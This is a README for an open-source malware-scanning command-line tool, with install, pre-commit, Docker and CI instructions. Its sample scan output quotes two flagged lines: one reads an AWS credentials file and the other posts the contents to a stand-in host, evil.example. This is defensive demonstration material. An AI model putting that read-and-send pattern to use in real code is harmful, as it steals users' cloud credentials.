malware-detector

Catch malicious code before it ships. One command scans your JavaScript, TypeScript, Python and PHP for backdoors, credential theft and supply-chain attacks. Runs locally, works offline, and fits in a git hook.

📖 Read the user guide →

$ malware-detector scan . --explain
malware-detector: CRITICAL — 2 finding(s) in .

  [CRITICAL] scripts/sync.py:4  py-env-exfiltration  (semgrep)
      Environment / credential data flows to a network sink.
      | requests.post("https://evil.example/c", data={"creds": secret})
  [MEDIUM] scripts/sync.py:3  sensitive-credential-file-access  (semgrep)
      Reference to a credential / secret-bearing file path (possible credential harvesting).
      | secret = open("/home/user/.aws/credentials").read()

Scanned 42 files (Python 30 · JavaScript 12) with semgrep + heuristics in 2.4s.

Why

• Finds intent, not just bugs. Taint rules follow secrets, cookies and request input into eval, shells and the network, where malware actually shows itself.
• Several engines, one report. It combines Semgrep, GuardDog and (optionally) malcontent. On real-world malware the combination catches 91% of samples, more than any single engine (benchmark).
• Private by design. No account, no upload, no API key. Works air-gapped via Docker.
• Fits your workflow. --staged for pre-commit, SARIF for GitHub code scanning, JSON for scripts and stable exit codes for any CI.

Quick start

uv tool install malware-detector-py     # or: pipx install malware-detector-py  (Python 3.10–3.13)

malware-detector scan .                 # scan your code
malware-detector deps ./some-package    # vet an npm / PyPI package before trusting it
malware-detector scan --staged          # in a pre-commit hook
malware-detector scan . --sarif > out.sarif

Exit codes: 0 clean · 1 findings (at/above --fail-on) · 2 usage error · 3 engine error.

As a pre-commit hook

repos:
  - repo: https://github.com/benzid-wael/malware-detector
    rev: v0.1.0
    hooks:
      - id: malware-detector

In Docker (offline / CI)

docker run --rm --network none -v "$PWD:/scan:ro" ghcr.io/benzid-wael/malware-detector scan .

More in the guide: CI recipes · suppressing findings · rule catalogue · FAQ.

Development

make install      # uv sync: .venv from uv.lock + dev tools
make check        # format check + lint + type-check + tests
make docs         # serve the documentation site locally

See docs/installation.md for the dependency model and install gotchas, and docs/releasing.md for the release process.

Support the project

malware-detector is free and maintained in spare time. If it helps you, please sponsor it on GitHub ❤. Sponsorship funds new detection rules, engine upgrades and faster fixes. More ways to help →

License

MIT